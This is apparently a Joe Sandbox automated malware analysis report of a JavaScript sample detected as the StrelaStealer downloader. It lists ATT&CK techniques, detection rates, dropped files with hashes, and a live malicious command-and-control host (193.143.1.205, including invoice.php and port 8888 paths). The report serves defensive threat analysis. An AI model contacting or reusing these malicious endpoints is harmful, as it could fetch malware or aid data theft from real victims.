Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
700123582683323683.js	10%	Virustotal		Browse
700123582683323683.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2203297183.000001FC8DF70000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false	high
http://crl.ver)	svchost.exe, 00000009.00000002.3422113062.000001FC8E28B000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false	high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false	high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2198739039.000001B96A048000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2198739039.000001B96A069000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2198739039.000001B96A018000.00000004.00000020.00020000.00000000.sdmp	false	high
http://193.143.1.205:8888/sm	net.exe, 00000007.00000002.2198739039.000001B96A018000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588984
Start date and time:	2025-01-11 08:02:59 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	700123582683323683.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 50.16.47.176, 18.213.11.84, 34.237.241.83, 54.224.241.105, 184.28.90.27, 23.209.209.135, 199.232.214.172, 2.16.168.107, 2.16.168.105, 2.22.50.144, 2.22.50.131, 2.22.242.123, 2.22.242.11, 13.107.246.45, 172.202.163.200, 104.77.220.172
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:03:53	API Interceptor	23x Sleep call for process: powershell.exe modified
02:03:57	API Interceptor	1x Sleep call for process: net.exe modified
02:03:57	API Interceptor	2x Sleep call for process: svchost.exe modified
02:04:06	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	3274215974163975076.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4483138622176223122.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	326794322661816170.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2948124376300195806.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1264213928938610773.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	244188544238313090.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1534283901292319457.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23742400475728052.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19292830865508482.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	91263130946456752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	3274215974163975076.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	326794322661816170.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2948124376300195806.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1264213928938610773.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2iH7rqx9rQ.exe	Get hash	malicious	Remcos	Browse	199.232.214.172
	244188544238313090.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	23742400475728052.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	19292830865508482.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	369248682699819312.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	32279194341766111087.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	894623912226711207.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3274215974163975076.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4483138622176223122.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	326794322661816170.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2948124376300195806.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1264213928938610773.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	244188544238313090.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1534283901292319457.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	820716203646129861.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23742400475728052.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263309748244106
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0s:9JZj5MiKNnNhoxuJ
MD5:	72C50925CDECE75FA8E172FB902A9BD2
SHA1:	57BB7511CB7BBFEFF36D87EE19DB1A49106F962B
SHA-256:	06D6FD8323E60BA8741C4128ED5FDDB3B52573B9B7AB2EF3150442799681B8C7
SHA-512:	912DE95324B78A6CC522776580AE686CD6746C1F36A90D39F65147B7AC272A372474092F891F60A57B7BA96C132872A6F5F1C6B8F8F917BA5C9A29E386D752C9
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x32f15402, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555730876483737
Encrypted:	false
SSDEEP:	1536:dSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:dazaSvGJzYj2UlmOlOL
MD5:	1EDEF48EA6889145E45CC6C7E8F46218
SHA1:	9BD736FDDAF91DFFB2098AB3E83423DFE2ACE203
SHA-256:	35BBB3CACA0A00D675330B8B85DFAA89EAF64B1989BC5BB9D8B5B11D232D3F86
SHA-512:	C06EA72411528807EDEF4BB3130EBCF05A3C34E5322836DEFE9436081D872CAF706E2893FB59749758F6D19E938EA1CF1FDFE3B41D5C3B8D1F6BFE5258ADE410
Malicious:	false
Preview:	2.T.... .......7.......X\...;...{......................0.e......!...{?.:....}=.h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{......................................:....}....................:....}]..........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07938268976284857
Encrypted:	false
SSDEEP:	3:z2Rl/lEYeoNN3EefNaAPaU1lAslltalluxmO+l/SNxOf:UltEzaN0ENDPaUosQgmOH
MD5:	51F90F0062EA10CE9966EFF8ED6249E3
SHA1:	BE0A8BC5355D7DF2F47517F8E03E6E2E81E00D08
SHA-256:	A5E56707497E0A2AAB3D2C116AC2C229D740B748F1B380509A388CED3CC7772C
SHA-512:	E983267913388948FC4C908CD867168CA3059BD44886E3BE12B5F915CA2EE9AFC8C981158D1A8D87616C996BD1B044A13CE4E35A472F0708EADA722DC9A69CCF
Malicious:	false
Preview:	.1......................................;...{..:....}]..!...{?..........!...{?..!...{?..g...!...{?....................:....}].........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.13240250240278
Encrypted:	false
SSDEEP:	6:iOS+jC3Q+q2PN72nKuAl9OmbnIFUto+jd/dWZmwW+jd/QVkwON72nKuAl9OmbjLJ:7S+R+vVaHAahFUto+a/W+2V5OaHAaSJ
MD5:	A5B476E50DEBA5BE99C966413ADB94DD
SHA1:	C2FEFA092C6264DDD3F41402721A1903845D2CE2
SHA-256:	A3DEE58157E72A9989F868C1F8337CB133B9F24E8303C2157232B31F071D7639
SHA-512:	371C7C47807CCB8397B181AC31907A0DAAA8163CD0F8D44933948F9AC023F4C93D0C0594443B905A6381D95FB3EBA8B7478C9CF13890FDCEB71F578B28232811
Malicious:	false
Preview:	2025/01/11-02:03:57.753 130c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:03:57.756 130c Recovering log #3.2025/01/11-02:03:57.756 130c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.13240250240278
Encrypted:	false
SSDEEP:	6:iOS+jC3Q+q2PN72nKuAl9OmbnIFUto+jd/dWZmwW+jd/QVkwON72nKuAl9OmbjLJ:7S+R+vVaHAahFUto+a/W+2V5OaHAaSJ
MD5:	A5B476E50DEBA5BE99C966413ADB94DD
SHA1:	C2FEFA092C6264DDD3F41402721A1903845D2CE2
SHA-256:	A3DEE58157E72A9989F868C1F8337CB133B9F24E8303C2157232B31F071D7639
SHA-512:	371C7C47807CCB8397B181AC31907A0DAAA8163CD0F8D44933948F9AC023F4C93D0C0594443B905A6381D95FB3EBA8B7478C9CF13890FDCEB71F578B28232811
Malicious:	false
Preview:	2025/01/11-02:03:57.753 130c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:03:57.756 130c Recovering log #3.2025/01/11-02:03:57.756 130c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.160777077996221
Encrypted:	false
SSDEEP:	6:iOS+jjVq2PN72nKuAl9Ombzo2jMGIFUtouFSSgZmwWuFSSIkwON72nKuAl9Ombzz:7S+fVvVaHAa8uFUtoKSSg/WKSSI5OaHA
MD5:	65EDBF135FB5B10D524AA93C670832E8
SHA1:	E38AF54F04632C21597E36BC9B356CC22B5E45CC
SHA-256:	DCB543318C3DD837E1BD9A7491B8CFFB591FB4A67F0AD81724A2BD573DC073BB
SHA-512:	DC29C09411DCE00B9E799ECF14579383C73ABE73EA970C72C2E6B6EE378ABDF2E0CA2AB1DD6B58C87BB73090AFF2CD9B0F499116DC92F81712BACCD4FD318234
Malicious:	false
Preview:	2025/01/11-02:03:57.976 8e4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:03:58.120 8e4 Recovering log #3.2025/01/11-02:03:58.120 8e4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.160777077996221
Encrypted:	false
SSDEEP:	6:iOS+jjVq2PN72nKuAl9Ombzo2jMGIFUtouFSSgZmwWuFSSIkwON72nKuAl9Ombzz:7S+fVvVaHAa8uFUtoKSSg/WKSSI5OaHA
MD5:	65EDBF135FB5B10D524AA93C670832E8
SHA1:	E38AF54F04632C21597E36BC9B356CC22B5E45CC
SHA-256:	DCB543318C3DD837E1BD9A7491B8CFFB591FB4A67F0AD81724A2BD573DC073BB
SHA-512:	DC29C09411DCE00B9E799ECF14579383C73ABE73EA970C72C2E6B6EE378ABDF2E0CA2AB1DD6B58C87BB73090AFF2CD9B0F499116DC92F81712BACCD4FD318234
Malicious:	false
Preview:	2025/01/11-02:03:57.976 8e4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:03:58.120 8e4 Recovering log #3.2025/01/11-02:03:58.120 8e4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3d813927-c14f-4feb-af2d-feb97472a069.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Unknown
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9707925746743955
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqDPhsBdOg2Hjcaq3QYiubcP7E4T3y:Y2sRds0ydMHa3QYhbA7nby
MD5:	B096BBF6C0F6FF0294FBF457A54F3650
SHA1:	1F7DCFACAAA369E8A683B4F84B188C84955BE16B
SHA-256:	FBE92D808D748D0A1F59A783448EED848B46563BA689A25C8645E5E1E47696E1
SHA-512:	7BFD4F5172D16DAB8458DDC51E43B2A985EC01767F5E28E877493E15AAA77865F13C26796F8F70D90542598D29392B67E703140B1B63F38DE4C515DC1048E403
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381139049315556","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":127717},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Unknown
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.9707925746743955
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqDPhsBdOg2Hjcaq3QYiubcP7E4T3y:Y2sRds0ydMHa3QYhbA7nby
MD5:	B096BBF6C0F6FF0294FBF457A54F3650
SHA1:	1F7DCFACAAA369E8A683B4F84B188C84955BE16B
SHA-256:	FBE92D808D748D0A1F59A783448EED848B46563BA689A25C8645E5E1E47696E1
SHA-512:	7BFD4F5172D16DAB8458DDC51E43B2A985EC01767F5E28E877493E15AAA77865F13C26796F8F70D90542598D29392B67E703140B1B63F38DE4C515DC1048E403
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381139049315556","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":127717},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.252204631285317
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7GWYs:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzh5
MD5:	0C3655E46DF925D354F8AE4D4F45AB16
SHA1:	F9D9E0F83A71F8D3C45B20BDDFE173E12F7280BE
SHA-256:	5E15BEB39B8F11FE1078814690D56FF69459C241AC2C519B29207CD290050CAF
SHA-512:	ABAFE007C2DF3A40C64F0C5016ACD83F27EB564DFEB86B0A13A970B374D418AC9FF09D846470374F15E5677D05437BEF2E35012EB77242B6C9E78DEBE313FF32
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.17011141418435
Encrypted:	false
SSDEEP:	6:iOSvVVq2PN72nKuAl9OmbzNMxIFUtoVVgZmwWe8wIkwON72nKuAl9OmbzNMFLJ:7SvVVvVaHAa8jFUtong/WMI5OaHAa84J
MD5:	4B27CBA1C4EEC0ADBBB70B75A4079014
SHA1:	8BFA07427EC3D7E6B33416D72956E72CAFB9B3FA
SHA-256:	DB80A47921C9BE7B9F76FB8148BF553998A13BC6EF082B42306DC094BC662A98
SHA-512:	3CB8F43DFF302AF6345F6836F51BF2033E0A25BBFDE1A6358D9EF44CFF25405376CE97C952953B18B9031A93365591DDAF4182D18C04BF8D333D5F5E3EAEC4BB
Malicious:	false
Preview:	2025/01/11-02:03:58.714 8e4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:03:58.716 8e4 Recovering log #3.2025/01/11-02:03:58.717 8e4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.17011141418435
Encrypted:	false
SSDEEP:	6:iOSvVVq2PN72nKuAl9OmbzNMxIFUtoVVgZmwWe8wIkwON72nKuAl9OmbzNMFLJ:7SvVVvVaHAa8jFUtong/WMI5OaHAa84J
MD5:	4B27CBA1C4EEC0ADBBB70B75A4079014
SHA1:	8BFA07427EC3D7E6B33416D72956E72CAFB9B3FA
SHA-256:	DB80A47921C9BE7B9F76FB8148BF553998A13BC6EF082B42306DC094BC662A98
SHA-512:	3CB8F43DFF302AF6345F6836F51BF2033E0A25BBFDE1A6358D9EF44CFF25405376CE97C952953B18B9031A93365591DDAF4182D18C04BF8D333D5F5E3EAEC4BB
Malicious:	false
Preview:	2025/01/11-02:03:58.714 8e4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:03:58.716 8e4 Recovering log #3.2025/01/11-02:03:58.717 8e4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444428981029871
Encrypted:	false
SSDEEP:	384:ye6ci5tdiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:m2s3OazzU89UTTgUL
MD5:	5DE49856543F9104E1DE6E2F59730769
SHA1:	A1A8AE7C9429CF824D25BF04FA7530996C1210E7
SHA-256:	8BEECFE41C1B137CC39F65C1A7D59865E8EF3EA5022FB578F288180B59F8E0EF
SHA-512:	76CEC6045A447539755264C52087C46106344B92BFA224972F220931A84C4C3483A8575BDC80BE25D3D5708E920B49AE17CD9D3E0B57641BF7B8A43CD37B1C0E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.766935768685089
Encrypted:	false
SSDEEP:	48:7MBnJioyVFmioycvoy1C7oy16oy1yTKOioy1noy1AYoy1Wioy1oioykioyBoy1nK:7mJuFm5g3ZXjBiINb9IVXEBodRBkT
MD5:	B6D6CD910F0CFAEC0C8989BF9AA89A48
SHA1:	C991367E1AEE51F1232FD6340E2EE7C8C4E88F5E
SHA-256:	CEC6AB389EE4BFC9A6C722A78F340A7998749D39B2130AB262A165DEDB541CF4
SHA-512:	1E4A329CFD6656786643A672AA6B1D3048AC710F194C153E4D970ABF20D7237CC1D5CAECFE5A5980460BF90491D219B8F565385C22B68B2F29A7C7409A0E0F6B
Malicious:	false
Preview:	.... .c........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i 